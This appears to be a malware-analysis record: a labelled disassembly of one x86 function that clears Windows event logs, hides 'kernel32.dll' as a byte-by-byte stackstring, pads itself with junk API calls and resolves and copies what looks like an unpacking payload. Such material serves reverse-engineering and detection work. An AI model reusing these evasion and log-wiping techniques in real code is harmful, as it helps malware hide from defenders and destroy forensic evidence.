Function at 0x4030fe
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push ebx
push esi
mov eax, 0xb2d3b
add dword [0x500b64], eax
xor ebx, ebx
cmp dword [0x500b64], 0x16
jne 0x40317c
push ebx
push ebx
call dword [sym.imp.USER32.dll_ClientToScreen]
push ebx
push 0x40249c
push 0x4024c8
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
call fcn.00402710
push ebx
push ebx
call fcn.00403f1c
push 0x929
push 0xea
call fcn.00403abd
push ebx
call fcn.00403eae
add esp, 0x14
xor ecx, ecx
cmp ecx, 0x298b6e8
jge 0x4037f2
mov dword [ebp - 0x30], 0x17660cd
mov dword [ebp - 0x234], 0x3ba0f103
mov dword [ebp - 0x18c], 0x52d50c04
mov dword [ebp - 0x260], 0x5568df80
mov dword [ebp - 0x110], 0x66e7aa9d
mov dword [ebp - 0x88], 0x3e660372
mov dword [ebp - 0x22c], 0x43aa62f3
mov dword [ebp - 0x104], 0x71023a2d
mov dword [ebp - 0x200], 0x12a3f35c
mov dword [ebp - 0x178], 0x660dbb95
mov dword [ebp - 0x28], 0x3d180cff
mov dword [ebp - 0xfc], 0x33b9ae68
mov dword [ebp - 0x144], 0x7b5f8cb5
mov dword [ebp - 0xf4], 0x30f08014
mov dword [ebp - 0x7c], 0x3daac620
mov dword [ebp - 0x1b4], 0x13616ecc
mov dword [ebp - 0x13c], 0x3bb6beb0
mov dword [ebp - 0xb8], 0x5aa37451
mov dword [ebp - 0x160], 0x11d4046
mov dword [ebp - 0x224], 0x5008718e
mov dword [ebp - 8], 0x68561eb4
mov dword [ebp - 0x14], 0x1bd02286
mov dword [ebp - 0x10], 0x5035acbc
mov dword [ebp - 0x134], 0x60ad8bb5
mov dword [ebp - 0x12c], 0x359c84e2
mov dword [ebp - 0x124], 0x241db749
mov dword [ebp - 0x238], 0x2361aa33
mov dword [ebp - 0x190], 0x19beeff9
mov dword [ebp - 0x184], 0x561c1dfe
mov dword [ebp - 0x1a8], 0x3f9b3822
mov dword [ebp - 0x20], 0x5b3f6a70
mov dword [ebp - 0x11c], 0x6060aa65
mov dword [ebp - 0x1ac], 0x3581c850
mov dword [ebp - 0xe0], 0x4bbce51e
mov dword [ebp - 0x50], 0x6d3002df
mov dword [ebp - 0xb0], 0x705bd586
mov dword [ebp - 0x204], 0x64cbef0b
mov dword [ebp - 0x1e8], 0x552a1caf
mov dword [ebp - 0x29c], 0x41a9b7b9
mov dword [ebp - 0x220], 0x41af21eb
mov dword [ebp - 0xec], 0x5b7889a1
mov dword [ebp - 0x74], 0x3a3fb1c3
mov dword [ebp - 0x6c], 0x63e47cb2
mov dword [ebp - 0xe4], 0x3388cb30
mov dword [ebp - 0x21c], 0x5ff29119
mov dword [ebp - 0x130], 0x2f25774d
mov dword [ebp - 0x64], 0x730f68fb
mov dword [ebp - 0x1fc], 0x28500a22
mov dword [ebp - 0x208], 0x249189f3
mov dword [ebp - 0xc], 0x2cff92eb
mov dword [ebp - 0x48], 0x1fae4863
mov dword [ebp - 0x2c], 0x56eeb8ab
mov dword [ebp - 0xdc], 0x5e3a5a3c
mov dword [ebp - 0x280], 0x49547d76
mov dword [ebp - 0x24], 0x530105b
mov dword [ebp - 0x214], 0x458182e5
mov dword [ebp - 0xd4], 0x237da807
mov dword [ebp - 0x5c], 0x5cbd99b6
mov dword [ebp - 0x1a4], 0x6625b6f5
mov dword [ebp - 0xcc], 0x6390f7e
mov dword [ebp - 0xc4], 0x425f6264
mov dword [ebp - 0x17c], 0x26d1979a
mov dword [ebp - 0x114], 0x7f89be6f
mov dword [ebp - 0x294], 0x5032a845
mov dword [ebp - 0x28c], 0x3c963eab
mov dword [ebp - 0x80], 0x6e745d4c
mov dword [ebp - 0x258], 0x40ba2d9a
mov dword [ebp - 0xd8], 0x3b02ef95
mov dword [ebp - 0x170], 0x42f6ce2
mov dword [ebp - 0x240], 0x72d9b955
mov dword [ebp - 0x1c], 0x7fbd1882
mov dword [ebp - 0x108], 0x2ec79087
mov dword [ebp - 0x27c], 0x654d731
mov dword [ebp - 0x174], 0x747bf4a7
mov dword [ebp - 0x288], 0x511d571
mov dword [ebp - 0x274], 0x486ff9f1
mov dword [ebp - 0x78], 0x6e2d47e2
mov dword [ebp - 0x26c], 0x7b871ba9
mov dword [ebp - 0x16c], 0x3068f3cd
mov dword [ebp - 0xa8], 0x32080af4
mov dword [ebp - 0x54], 0x5904023e
mov dword [ebp - 0x188], 0x2112113f
mov dword [ebp - 0x4c], 0x11c98774
mov dword [ebp - 0x158], 0x3fa0caf9
mov dword [ebp - 0x1d0], 0x2cfcb8d9
mov dword [ebp - 0x18], 0x227d7ca0
mov dword [ebp - 0xbc], 0x1c29d52a
mov dword [ebp - 0x100], 0x240013f4
mov dword [ebp - 0x268], 0x3c669dcb
mov dword [ebp - 0xf8], 0x1debbab7
mov dword [ebp - 0x164], 0xd9f02f7
mov dword [ebp - 0x15c], 0x4c2c8868
mov dword [ebp - 0x70], 0x390eae36
mov dword [ebp - 0x1a0], 0x1ace1109
mov dword [ebp - 0x150], 0xdd87f78
mov dword [ebp - 0x128], 0x10a8bbd2
mov dword [ebp - 0x40], 0x3d1f2d38
mov dword [ebp - 0xa0], 0x88b61c3
mov dword [ebp - 0x1b8], 0x27c5ecbe
mov dword [ebp - 0x210], 0x76ff7f1d
mov dword [ebp - 0xb4], 0x42e37402
mov dword [ebp - 0x1e0], 0x3102ba28
mov dword [ebp - 0x1f4], 0x6baecf20
mov dword [ebp - 0x120], 0x268c35
mov dword [ebp - 0x290], 0x30bd8067
mov dword [ebp - 0x44], 0x67790aca
mov dword [ebp - 0xd0], 0x4dfc13a7
mov dword [ebp - 0xac], 0x2f188a10
mov dword [ebp - 0x1c8], 0x4119efb
mov dword [ebp - 0x298], 0x59e81561
mov dword [ebp - 0xa4], 0x3c5be40b
mov dword [ebp - 0x118], 0x4012fdfa
mov dword [ebp - 0xf0], 0x3ea9f04
mov dword [ebp - 0x3c], 0x5da429eb
mov dword [ebp - 0x9c], 0x19774d96
mov dword [ebp - 0x1ec], 0x7ade5bb
mov dword [ebp - 0x264], 0x6bb1c5
mov dword [ebp - 0x1e4], 0x4360dd66
mov dword [ebp - 0x1dc], 0x2c8ad04a
mov dword [ebp - 0x19c], 0xe756e15
mov dword [ebp - 0x1d4], 0x3957528e
mov dword [ebp - 0x68], 0x44154a5b
mov dword [ebp - 0x25c], 0x3212ba0c
mov dword [ebp - 0x154], 0x71737d87
mov dword [ebp - 0x1cc], 0x7fb4a551
mov dword [ebp - 0x20c], 0xe91d1dc
mov dword [ebp - 0x94], 0x3e9eee18
mov dword [ebp - 0x230], 0x7f86703d
mov dword [ebp - 0x254], 0x69f21dbf
mov dword [ebp - 0x180], 0x37d009d7
mov dword [ebp - 0x60], 0x3e1acf1
mov dword [ebp - 0x284], 0x3246e821
mov dword [ebp - 0x1c4], 0x77b1bd25
mov dword [ebp - 0x10c], 0x6c2d29d3
mov dword [ebp - 0xe8], 0x19cdb9a2
mov dword [ebp - 0x1f8], 0x689dd0fb
mov dword [ebp - 0x194], 0x5469c0dc
mov dword [ebp - 0x278], 0x1e4c398
mov dword [ebp - 0x1c0], 0xa4a14be
mov dword [ebp - 0x248], 0x2a41f532
mov dword [ebp - 0x228], 0xeeb8952
mov dword [ebp - 0x250], 0x609a7dfc
mov dword [ebp - 0x1bc], 0x22409ae5
mov dword [ebp - 0x148], 0x1afe5495
mov dword [ebp - 0x34], 0x7c586487
mov dword [ebp - 0x1f0], 0x3665cc47
mov dword [ebp - 0x24c], 0x4f9560fd
mov dword [ebp - 0x1d8], 0x3e40ca6b
mov dword [ebp - 0x38], 0x43659aa7
mov dword [ebp - 0xc8], 0x6d948fca
mov dword [ebp - 0x58], 0x6dbf7829
mov dword [ebp - 0x98], 0x1cd893e6
mov dword [ebp - 0x244], 0x4ec0e628
mov dword [ebp - 0x8c], 0x1d04c8d1
mov dword [ebp - 0x140], 0x60c94a6c
mov dword [ebp - 0x23c], 0x2a409457
mov dword [ebp - 0x270], 0x7937ed60
mov dword [ebp - 0x198], 0x7a448011
mov dword [ebp - 0x138], 0x4012ad62
mov dword [ebp - 0x90], 0x35544530
mov dword [ebp - 4], 0x326265e
mov dword [ebp - 0x1b0], 0x76041319
mov dword [ebp - 0x168], 0x388ea270
mov dword [ebp - 0xc0], 0x4f9e2504
mov dword [ebp - 0x14c], 0x6167405e
mov dword [ebp - 0x218], 0x7b3eb8df
mov dword [ebp - 0x84], 0x737422d4
mov eax, 0x402194c4
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add dword [ebp - 0x30], 0x334142cd
add dword [ebp - 0x30], 0x25f61174
add dword [ebp - 0x30], 0x159a9787
add dword [ebp - 0x30], 0x5cb4f12a
sub dword [ebp - 0x234], 0x31b79b5
sub dword [ebp - 0x30], 0x5e25cac2
sub dword [ebp - 0x234], 0x21eced12
cmp ecx, 0xf02794a
jg 0x403807
inc ecx
cmp ecx, 0x6d6c78b2
jl 0x40317e
push 0x4c0a00
mov byte [0x4c0a0a], 0x6c
mov byte [0x4c0a0b], 0x6c
mov byte [0x4c0a0c], bl
mov byte [0x4c0a00], 0x6b
mov byte [0x4c0a02], 0x72
mov byte [0x4c0a05], 0x6c
mov byte [0x4c0a07], 0x32
mov byte [0x4c0a08], 0x2e
mov byte [0x4c0a03], 0x6e
mov byte [0x4c0a04], 0x65
mov byte [0x4c0a09], 0x64
mov byte [0x4c0a06], 0x33
mov byte [0x4c0a01], 0x65
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4024e0
push eax
mov dword [0x500a80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x500b64]
mov dword [0x5009fc], eax
push ebx
call eax
mov dword [0x5009f8], eax
call fcn.004030c7
mov eax, dword [0x4bafbc]
xor esi, esi
mov dword [0x500b68], eax
cmp dword [0x500b64], ebx
jbe 0x403906
mov eax, dword [0x500b68]
mov dword [ebp - 4], eax
mov eax, 0xb2d3b
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + esi]
mov ecx, dword [0x5009f8]
mov byte [esi + ecx], al
cmp dword [0x500b64], 0x44
jne 0x4038fd
lea eax, [ebp - 8]
push eax
push 0x4024ec
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
inc esi
cmp esi, dword [0x500b64]
jb 0x4038a9
call fcn.00403003
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x770e
jne 0x403920
call fcn.004030ad
inc esi
cmp esi, 0x286b97d
jl 0x40390d
push 0x7b
pop esi
cmp dword [0x500b64], 0xd
jne 0x40394d
push ebx
push 0x4024fc
push 0x402528
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec esi
jne 0x40392c
call fcn.004030f2
pop esi
pop ebx
leave
ret